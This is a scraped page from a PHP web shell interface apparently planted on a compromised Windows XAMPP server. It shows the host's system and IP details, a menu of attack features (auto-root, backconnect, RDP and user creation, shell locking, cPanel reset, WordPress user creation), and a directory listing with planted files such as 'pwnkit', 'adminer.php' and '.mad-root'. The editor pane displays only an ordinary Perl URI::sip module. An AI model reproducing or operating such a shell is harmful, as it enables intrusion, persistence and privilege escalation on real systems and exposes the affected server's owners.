Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.9
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
perl /
lib /
URI /
[ HOME SHELL ]
Name
Size
Permission
Action
cpan
[ DIR ]
drwxrwxrwx
file
[ DIR ]
drwxrwxrwx
urn
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
Escape.pm
6.9
KB
-rw-rw-rw-
Heuristic.pm
6.37
KB
-rw-rw-rw-
IRI.pm
794
B
-rw-rw-rw-
QueryParam.pm
4.75
KB
-rw-rw-rw-
Split.pm
2.3
KB
-rw-rw-rw-
URL.pm
5.36
KB
-rw-rw-rw-
WithBase.pm
3.77
KB
-rw-rw-rw-
_foreign.pm
107
B
-rw-rw-rw-
_generic.pm
5.69
KB
-rw-rw-rw-
_idna.pm
2.03
KB
-rw-rw-rw-
_ldap.pm
3.17
KB
-rw-rw-rw-
_login.pm
231
B
-rw-rw-rw-
_punycode.pm
5.49
KB
-rw-rw-rw-
_query.pm
2.47
KB
-rw-rw-rw-
_segment.pm
416
B
-rw-rw-rw-
_server.pm
3.64
KB
-rw-rw-rw-
_userpass.pm
1.01
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
cpan.pm
3.52
KB
-rw-rw-rw-
data.pm
3.31
KB
-rw-rw-rw-
file.pm
9.53
KB
-rw-rw-rw-
ftp.pm
1.03
KB
-rw-rw-rw-
gopher.pm
2.37
KB
-rw-rw-rw-
http.pm
425
B
-rw-rw-rw-
https.pm
144
B
-rw-rw-rw-
ldap.pm
2.86
KB
-rw-rw-rw-
ldapi.pm
440
B
-rw-rw-rw-
ldaps.pm
144
B
-rw-rw-rw-
mailto.pm
1.25
KB
-rw-rw-rw-
mms.pm
125
B
-rw-rw-rw-
news.pm
1.42
KB
-rw-rw-rw-
nntp.pm
127
B
-rw-rw-rw-
pop.pm
1.18
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
rlogin.pm
129
B
-rw-rw-rw-
rsync.pm
207
B
-rw-rw-rw-
rtsp.pm
125
B
-rw-rw-rw-
rtspu.pm
126
B
-rw-rw-rw-
sftp.pm
98
B
-rw-rw-rw-
sip.pm
1.66
KB
-rw-rw-rw-
sips.pm
143
B
-rw-rw-rw-
snews.pm
172
B
-rw-rw-rw-
ssh.pm
175
B
-rw-rw-rw-
telnet.pm
128
B
-rw-rw-rw-
tn3270.pm
128
B
-rw-rw-rw-
urn.pm
2.12
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sip.pm
# # Written by Ryan Kereliuk <ryker@ryker.org>. This file may be # distributed under the same terms as Perl itself. # # The RFC 3261 sip URI is <scheme>:<authority>;<params>?<query>. # package URI::sip; use strict; use warnings; use parent qw(URI::_server URI::_userpass); use URI::Escape (); our $VERSION = '5.06'; sub default_port { 5060 } sub authority { my $self = shift; $$self =~ m,^($URI::scheme_re:)?([^;?]*)(.*)$,os or die; my $old = $2; if (@_) { my $auth = shift; $$self = defined($1) ? $1 : ""; my $rest = $3; if (defined $auth) { $auth =~ s/([^$URI::uric])/ URI::Escape::escape_char($1)/ego; $$self .= "$auth"; } $$self .= $rest; } $old; } sub params_form { my $self = shift; $$self =~ m,^((?:$URI::scheme_re:)?)(?:([^;?]*))?(;[^?]*)?(.*)$,os or die; my $paramstr = $3; if (@_) { my @args = @_; $$self = $1 . $2; my $rest = $4; my @new; for (my $i=0; $i < @args; $i += 2) { push(@new, "$args[$i]=$args[$i+1]"); } $paramstr = join(";", @new); $$self .= ";" . $paramstr . $rest; } $paramstr =~ s/^;//o; return split(/[;=]/, $paramstr); } sub params { my $self = shift; $$self =~ m,^((?:$URI::scheme_re:)?)(?:([^;?]*))?(;[^?]*)?(.*)$,os or die; my $paramstr = $3; if (@_) { my $new = shift; $$self = $1 . $2; my $rest = $4; $$self .= $paramstr . $rest; } $paramstr =~ s/^;//o; return $paramstr; } # Inherited methods that make no sense for a SIP URI. sub path {} sub path_query {} sub path_segments {} sub abs { shift } sub rel { shift } sub query_keywords {} 1;
Close
